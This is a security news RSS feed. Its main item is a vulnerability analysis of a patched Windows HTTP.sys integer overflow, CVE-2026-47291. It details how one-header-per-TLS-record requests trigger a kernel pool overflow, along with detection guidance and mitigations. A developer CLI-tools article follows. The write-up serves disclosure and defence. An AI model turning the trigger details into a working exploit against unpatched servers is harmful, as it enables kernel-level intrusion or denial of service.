<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=from+megabytes+kilobytes+devs%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 04:11:09 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 04:11:09 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=from+megabytes+kilobytes+devs%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=from+megabytes+kilobytes+devs%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service co...]]></description>
<link>https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.</em></p>





















  
  




  



  <hr>
  
    
    



  




  <p class="">A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests. </p><p class="">A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.</p><p class=""><strong>The Vulnerability</strong></p><p class=""><em>HTTP.sys</em> is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.</p><p class="">When operating over HTTPS, <em>HTTP.sys</em> delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a <a href="https://www.rfc-editor.org/info/rfc8446/">per-record basis</a>: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to <em>HTTP.sys</em> as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The decrypted payload of each TLS record is delivered independently to the HTTP parser via</p><p class=""><em>UlHttpBufferReceiveEvent()</em>, regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches <em>HTTP.sys</em>.</p><p class="">The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The <em>capacity</em> field stores the current number of allocated slots in the buffer reference array. The <em>count</em> field stores the number of slots currently in use. The <em>ref_array_ptr</em> field points to the dynamically allocated array of 8-byte buffer reference entries.</p><p class="">An integer overflow vulnerability exists in <em>HTTP.sys</em>. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When <em>HTTP.sys</em> receives data for an HTTP/1.x request, it allocates a <em>UL_REQUEST_BUFFER</em> structure for each receive indication and tracks these buffers in the per-request reference array described above. The <em>count</em> field records the number of active buffer references, and the <em>capacity</em> field records the total number of allocated slots. </p><p class="">As the HTTP parser (<em>UlpParseNextRequest()</em>) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When <em>count</em> reaches <em>capacity</em>, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + <em>capacity</em> * 8, the contents of the existing array are copied via <em>memmove</em> using <em>count</em> * 8 as the copy length, and <em>capacity</em> is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.</p><p class="">After 13,107 growth events, <em>capacity</em> reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, <em>count</em> (which is now 65,536 or greater) exceeds the zero <em>capacity</em>, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the <em>memmove</em> copies <em>count</em> * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.</p><p class="">Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and <em>UlpMergeBuffers() </em>further combines buffers within <em>HTTP.sys</em>. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through <em>UlHttpBufferReceiveEvent()</em> into <em>UlpCopyIndicatedData()</em>. If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing <em>UlpAdjustBuffers()</em> to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.</p><p class="">To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The <em>MaxRequestBytes </em>registry value (at <em>HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters</em>) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping <em>MaxRequestBytes</em> at or below 65,535 bytes represents the most conservative configuration to prevent this attack.</p><p class="">A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.</p><p class=""><strong>Notes:</strong></p><p class="">• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.</p><p class="">• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.</p><p class="">• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.</p><p class=""><strong>Source Code Walkthrough</strong></p><p class="">The following code snippet was taken from <em>HTTP.sys</em> version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.</p><p class="">In <em>UlpParseNextRequest()</em>:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><strong>Detection Guidance</strong></p><p class="">To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.</p><p class="">The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.</p><p class="">An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><em>Decrypted traffic inspection:</em></p><p class="">After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Encrypted traffic heuristics:</em></p><p class="">Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Notes:</em></p><p class="">• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.</p><p class="">• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.</p><p class="">• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291">patched</a> by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.</p><p class="">Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[9 Kommandozeilen-Tools, die jeder Dev braucht]]></title>
<description><![CDATA[Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt – ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich.
					Foto: SkillUp | shutterstock.com




Manche Devs arbeiten mit der Kommandozeile (auch Command Line Interface; CLI), weil sie sie lieben – andere, weil ihnen nich...]]></description>
<link>https://tsecurity.de/de/3694428/it-security-nachrichten/9-kommandozeilen-tools-die-jeder-dev-braucht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694428/it-security-nachrichten/9-kommandozeilen-tools-die-jeder-dev-braucht/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt - ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich." title="Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt - ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich." src="https://images.computerwoche.de/bdb/3392868/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt – ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich.</p></figcaption></figure><p class="imageCredit">
					Foto: SkillUp | shutterstock.com</p></div>




<p class="wp-block-paragraph">Manche Devs arbeiten mit der Kommandozeile (auch Command Line Interface; CLI), weil sie sie <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" title="lieben" target="_blank">lieben</a> – andere, weil ihnen nichts anderes übrig bleibt. Egal zu welcher Kategorie Sie sich zählen: Diese neun CLI-Tools helfen Ihrer Produktivität und Effizienz (zusätzlich) <a href="https://www.computerwoche.de/article/2816175/so-motivieren-sie-softwareentwickler.html" title="auf die Sprünge" target="_blank">auf die Sprünge</a>.</p>



<h2 class="wp-block-heading"><a href="https://tldr.sh/" target="_blank" rel="noreferrer noopener">tldr</a></h2>



<p class="wp-block-paragraph">Keine Angst, wir ersparen Ihnen an dieser Stelle eine langwierige, faszinative Abhandlung über die ganz eigene Magie, die die Unix-Shell entfaltet. Fakt ist: Wenn man mit ihr arbeiten will, ist es manchmal erforderlich, vorher ein Handbuch zu lesen. Unix Docs (auch man- oder manual pages) sind diesbezüglich allerdings ein zweischneidiges Schwert: Die benötigte Information ist vorhanden – es ist nur die Frage, wo. Den Teil der <a href="https://www.computerwoche.de/article/2791591/so-erstellen-sie-eine-moderne-dokumentation-fuer-anwendungen.html" title="Dokumentation" target="_blank">Dokumentation</a> aufzuspüren, den Sie gerade benötigen, kann ein entmutigender Task sein. Zwar kann die gute alte Befehlszeile dabei helfen – um ein offizielles Handbuch aufzurufen, genügt:</p>



<p class="wp-block-paragraph"><code>$ man </code></p>



<p class="wp-block-paragraph">Allerdings zeichnen sich man-pages vor allem durch ihre Informationsdichte aus – und die Tatsache, dass sie manchmal aktuelle Informationen für neuere Tools vermissen lassen. Das CLI-Tool <code>tldr</code> versetzt Sie in die Lage, zielgerichteter zu suchen:</p>



<p class="wp-block-paragraph"><code>$ tldr </code></p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="tldr in Aktion." title="tldr in Aktion." src="https://images.computerwoche.de/bdb/3392869/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">tldr in Aktion.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Falls Sie <code>npm</code> installiert haben, ist die <code>tldr</code>-Installation nur einen kurzen Befehl entfernt:</p>



<p class="wp-block-paragraph"><code>npm install -g tldr</code></p>



<h2 class="wp-block-heading"><a href="https://ngrok.com/download" target="_blank" rel="noreferrer noopener">ngrok</a></h2>



<p class="wp-block-paragraph">Sobald Sie <code>tldr</code> installiert haben, können Sie damit viele weitere Befehle erkunden. Zum Beispiel:</p>



<p class="wp-block-paragraph"><code>$ tldr ngrok</code></p>



<p class="wp-block-paragraph"><code>Reverse proxy that creates a secure tunnel from a public endpoint to a locally running web service.</code></p>



<p class="wp-block-paragraph">Mit <code>ngrok</code> eröffnet sich Ihnen eine stressfreie Möglichkeit, von einem Remote-Browser auf eine Entwicklungsmaschine zuzugreifen. Aber das Tool kann noch weit mehr. Sie können damit beispielsweise in der Cloud entwickeln und die Ergebnisse im Browser in Augenschein nehmen. Zudem können Sie mit <code>ngrok</code> auch schnell und einfach laufende Services über HTTPS veröffentlichen – ohne sich mit der Security-Infrastruktur herumschlagen zu müssen. Angenommen, Sie bauen einen Service Worker auf, der HTTPS benötigt, dann ist alles, was Sie für einen sicheren Kontext tun müssen, <code>ngrok</code> zu starten.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Das CLI-Tool ngrok macht Devs das Leben auf verschiedenen Ebenen leichter." title="Das CLI-Tool ngrok macht Devs das Leben auf verschiedenen Ebenen leichter." src="https://images.computerwoche.de/bdb/3392870/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Das CLI-Tool ngrok macht Devs das Leben auf verschiedenen Ebenen leichter.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Ein Beispiel, bei dem der HTTP-Port 8080 freigegeben wird:</p>



<p class="wp-block-paragraph"><code>$ ngrok http 8080</code></p>



<p class="wp-block-paragraph">Der <code>ngrok</code>-Output sieht wie folgt aus:</p>



<p class="wp-block-paragraph"><code>https://f951-34-67-117-59.ngrok-free.app -&gt; <a href="https://localhost:8080/" title="http://localhost:8080" target="_blank" rel="noopener">http://localhost:8080</a></code></p>



<p class="wp-block-paragraph">Anschließend kann jedermann die zugewiesene URL aufrufen (machen Sie sich keine Mühe).</p>



<h2 class="wp-block-heading"><a href="https://www.gnu.org/software/screen/manual/screen.html" target="_blank" rel="noreferrer noopener">screen</a></h2>



<p class="wp-block-paragraph">Mit diesem Befehlszeilen-Tool können Sie eine Shell-Sitzung mit oder ohne laufenden Prozess “beiseite legen” und sie anschließend zu einem beliebigen Zeitpunkt fortsetzen – auch wenn Sie die ursprüngliche Session beenden.</p>



<p class="wp-block-paragraph"><code>$ tldr screen</code></p>



<p class="wp-block-paragraph"><code>Hold a session open on a remote server. Manage multiple windows with a single SSH connection.</code></p>



<p class="wp-block-paragraph">Nehmen wir an, Sie starten <code>ngrok</code>, um remote auf eine <a href="https://www.computerwoche.de/article/2805798/7-webseiten-die-ihre-desktop-software-ersetzen.html" title="Webanwendung" target="_blank">Webanwendung</a> zuzugreifen: Sie starten den Prozess, lassen diesen dann in <code>screen</code> laufen und programmieren so lange etwas. Währenddessen läuft <code>ngrok</code> die ganze Zeit weiter – Sie können über <code>screen</code> jederzeit wieder darauf zugreifen. Veranschaulicht in Code würde das wie folgt aussehen:</p>



<p class="wp-block-paragraph"><code>$ screen</code></p>



<p class="wp-block-paragraph"><code>// Now we are in a new session</code></p>



<p class="wp-block-paragraph"><code>$ ngrok http 8080</code></p>



<p class="wp-block-paragraph"><code>// Now ngrok is running, exposing http port 8080</code></p>



<p class="wp-block-paragraph"><code>Type ctrl-a</code></p>



<p class="wp-block-paragraph"><code>// Now we are in screen's command mode</code></p>



<p class="wp-block-paragraph"><code>Type the "d" key, to "detach".</code></p>



<p class="wp-block-paragraph"><code>// Now you are back in the shell that you started in, while screen is running your ngrok command in the background:</code></p>



<p class="wp-block-paragraph"><code>$ screen -list</code></p>



<p class="wp-block-paragraph"><code>There is a screen on:</code></p>



<p class="wp-block-paragraph"><code> 128861.pts-0.dev3 (04/25/24 14:36:58) (Detached)</code></p>



<p class="wp-block-paragraph"><strong>Tipp</strong></p>



<p class="wp-block-paragraph"> Wenn Sie eine laufende Sitzung, in der Sie sich gerade befinden, benennen wollen, nutzen Sie die Tastenkombination Strg + A und geben <code>:sessionname </code> ein. Das ist besonders nützlich, wenn Sie mit mehreren Screen-Instanzen arbeiten wollen.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Screen ist ein umfangreiches und potentes CLI-Tool." title="Screen ist ein umfangreiches und potentes CLI-Tool." src="https://images.computerwoche.de/bdb/3392871/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Screen ist ein umfangreiches und potentes CLI-Tool.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Wenn wie im Beispiel nur eine <code>screen</code>-Instanz läuft, führt der Befehl <code>$ screen -r</code> (für “re-attach”) Sie zurück zu Ihrer <code>ngrok</code>-Sitzung. Im Fall mehrerer Screens können Sie diese mit Hilfe ihrer ID wieder aufrufen:</p>



<p class="wp-block-paragraph"><code>$ screen -r </code></p>



<p class="wp-block-paragraph">Wenn Sie Ihre Session endgültig beenden wollen, beenden Sie ngrok mit Strg + C und geben anschließend <code>exit</code> in die Kommandozeile ein.</p>



<h2 class="wp-block-heading"><a href="https://sdkman.io/" target="_blank" rel="noreferrer noopener">sdkman</a> &amp; <a href="https://github.com/nvm-sh/nvm" target="_blank" rel="noreferrer noopener">nvm</a></h2>



<p class="wp-block-paragraph">Wenn Sie <a href="https://www.computerwoche.de/article/2831436/darum-bleibt-java-relevant.html" title="Java" target="_blank">Java</a> oder <a href="https://www.computerwoche.de/article/2794625/was-javascript-von-typescript-unterscheidet.html" title="JavaScript" target="_blank">JavaScript</a> auf einem Server verwenden, sollten Sie sich mit <code>sdkman</code> (für Java) und <code>nvm</code> (für Node) vertraut machen. Beide Kommandozeilen-Tools sind nützlich, wenn es darum geht, mit mehreren Programmiersprachenversionen auf dem selben Rechner zu jonglieren – und dabei sowohl Path Adjustment als auch Umgebungsvariablen überflüssig machen. </p>



<p class="wp-block-paragraph">Mit <code>sdkman</code> können Sie beispielsweise neuere Java-Versionen erkunden und anschließend wieder zum aktuellen LTS-Release springen. Dieser Prozess wird durch das <code>sdk</code>-Kommando abstrahiert.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="sdkman zeigt alle verfügbaren Java-Installationen auf einem lokalen Rechner an - inklusive derjenigen, die gerade in Benutzung ist." title="sdkman zeigt alle verfügbaren Java-Installationen auf einem lokalen Rechner an - inklusive derjenigen, die gerade in Benutzung ist." src="https://images.computerwoche.de/bdb/3392872/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">sdkman zeigt alle verfügbaren Java-Installationen auf einem lokalen Rechner an – inklusive derjenigen, die gerade in Benutzung ist.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Zwischen den Versionen zu wechseln, gestaltet sich denkbar einfach – <code>$ sdk use java 19-open</code> führt Sie direkt zu JDK Version 19.</p>



<p class="wp-block-paragraph"><code>$ tldr sdk</code></p>



<p class="wp-block-paragraph"><code>Manage parallel versions of multiple Software Development Kits.</code></p>



<p class="wp-block-paragraph"><code>Supports Java, Groovy, Scala, Kotlin, Gradle, Maven, Vert.x and many others.</code></p>



<p class="wp-block-paragraph">Die <code>nvm</code>-Utility funktioniert ganz ähnlich:</p>



<p class="wp-block-paragraph"><code>$ tldr nvm</code></p>



<p class="wp-block-paragraph"><code>Install, uninstall or switch between Node.js versions.</code></p>



<p class="wp-block-paragraph"><code>Supports version numbers like "12.8" or "v16.13.1", and labels like "stable", "system", etc.</code></p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Ein Blick auf nvm." title="Ein Blick auf nvm." src="https://images.computerwoche.de/bdb/3392873/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Ein Blick auf nvm.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<h2 class="wp-block-heading"><a href="https://github.com/junegunn/fzf" target="_blank" rel="noreferrer noopener">fzf</a></h2>



<p class="wp-block-paragraph">Sowohl <code>grep</code> als auch <code>find</code> sind Standardbestandteile der Kommandozeilen-Befehlspalette. Allerdings sind beide Tools nicht so funktional, wie sie sein sollten. Das ruft <code>fzf</code> auf den Plan – einen “Fuzzy File Finder”. Mit “Fuzzy” ist dabei gemeint, dass die Details zu dem, was Sie suchen, nicht unbedingt klar definiert sein müssen. Ein Beispiel:</p>



<p class="wp-block-paragraph"><code>$ tldr fzf</code></p>



<p class="wp-block-paragraph"><code>Command-line fuzzy finder.</code></p>



<p class="wp-block-paragraph"><code>Similar to sk.</code></p>



<p class="wp-block-paragraph">Sobald Sie <code>fzf</code> starten, indiziert das CLI-Tool umgehend das Dateisystem, um Ergebnisvorschläge für Ihre Suchen zu unterbreiten.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="In diesem Beispiel suchen wir nach einem Projekt, an dem wir zuletzt gearbeitet haben." title="In diesem Beispiel suchen wir nach einem Projekt, an dem wir zuletzt gearbeitet haben." src="https://images.computerwoche.de/bdb/3392874/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">In diesem Beispiel suchen wir nach einem Projekt, an dem wir zuletzt gearbeitet haben.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Aus 878.937 Möglichkeiten hat <code>fzf</code> die 25 Dateien und Verzeichnisse ausgewählt, die unseren Anforderungen entsprechen könnten – und das völlig ohne Umwege.</p>



<h2 class="wp-block-heading"><a href="https://github.com/ogham/exa" target="_blank" rel="noreferrer noopener">exa</a></h2>



<p class="wp-block-paragraph">Mit <code>exa</code> werden langweilige alte <code>ls</code>-Listings schöner und nützlicher:</p>



<p class="wp-block-paragraph"><code>$ tldr</code></p>



<p class="wp-block-paragraph"><code>A modern replacement for ls (List directory contents).</code></p>



<p class="wp-block-paragraph">Für eine <a href="https://www.computerwoche.de/article/2834060/10-wege-zur-besseren-developer-experience.html" title="bessere Developer Experience" target="_blank">bessere Developer Experience</a> ohne mentalen Overhead statten Sie <code>ls</code> einfach mit einem <code>exa</code>-Alias aus. Das Tool respektiert die meisten <code>ls</code>-Standardoptionen – <code>exa -l</code> funktioniert also (beispielsweise) genau so, wie Sie es erwarten würden.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Exa ist das neue ls." title="Exa ist das neue ls." src="https://images.computerwoche.de/bdb/3392875/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Exa ist das neue ls.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<h2 class="wp-block-heading"><a href="https://github.com/sharkdp/bat" target="_blank" rel="noreferrer noopener">bat</a></h2>



<p class="wp-block-paragraph">Die <code>bat</code>-Utility ähnelt dem <code>cat</code>-Tool – ist aber besser:</p>



<p class="wp-block-paragraph"><code>$ tldr bat</code></p>



<p class="wp-block-paragraph"><code>Print and concatenate files.</code></p>



<p class="wp-block-paragraph"><code>A cat clone with syntax highlighting and Git integration.</code></p>



<p class="wp-block-paragraph">Es handelt sich hierbei im Wesentlichen um eine Komfort- beziehungsweise <a href="https://www.computerwoche.de/article/2821891/8-wege-um-top-entwickler-zu-halten.html" title="Developer-Experience-Optimierung" target="_blank">Developer-Experience-Optimierung</a> – ähnlich wie im Fall von <code>exa</code>. Wenn Sie <code>bat</code> verwenden, erwartet Sie ein vollwertiger File Viewer – inklusive Title, Borders, Line Numbers und insbesondere einer hilfreichen Syntax-Highlighting-Funktion für Programmiersprachen oder Konfigurationsdateien. Dabei reagiert <code>bat</code> auf less/more-Befehle – und wird mit “<code>q</code>” beendet. Die Navigation erfolgt über die Pfeiltasten.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Bat ist ein simples Dienstprogramm, das es zu einem echten Erlebnis macht, Dateien auf der Konsole zu durchsuchen." title="Bat ist ein simples Dienstprogramm, das es zu einem echten Erlebnis macht, Dateien auf der Konsole zu durchsuchen." src="https://images.computerwoche.de/bdb/3392876/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Bat ist ein simples Dienstprogramm, das es zu einem echten Erlebnis macht, Dateien auf der Konsole zu durchsuchen.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<h2 class="wp-block-heading"><a href="https://github.com/NetHack/NetHack" target="_blank" rel="noreferrer noopener">nethack</a></h2>



<p class="wp-block-paragraph">Ein absoluter Kommandozeilen-Klassiker ist <code>nethack</code> – der ursprüngliche, Konsolen-basierte ASCII <a href="https://de.wikipedia.org/wiki/NetHack" title="Dungeon Crawler" target="_blank" rel="noopener">Dungeon Crawler</a>. Das CLI-Tool wird Ihre Produktivität zwar nicht direkt ankurbeln – kann aber durchaus dabei helfen, ein paar Minuten zur Ruhe zu kommen, um komplexe Dev-Probleme zu durchdringen.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Es gibt neuere Versionen des Nethack-Konzepts - manchmal fährt man jedoch mit dem Original am besten." title="Es gibt neuere Versionen des Nethack-Konzepts - manchmal fährt man jedoch mit dem Original am besten." src="https://images.computerwoche.de/bdb/3392877/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Es gibt neuere Versionen des Nethack-Konzepts – manchmal fährt man jedoch mit dem Original am besten.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2337138/9-command-line-jewels-for-your-developer-toolkit.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.<br></strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
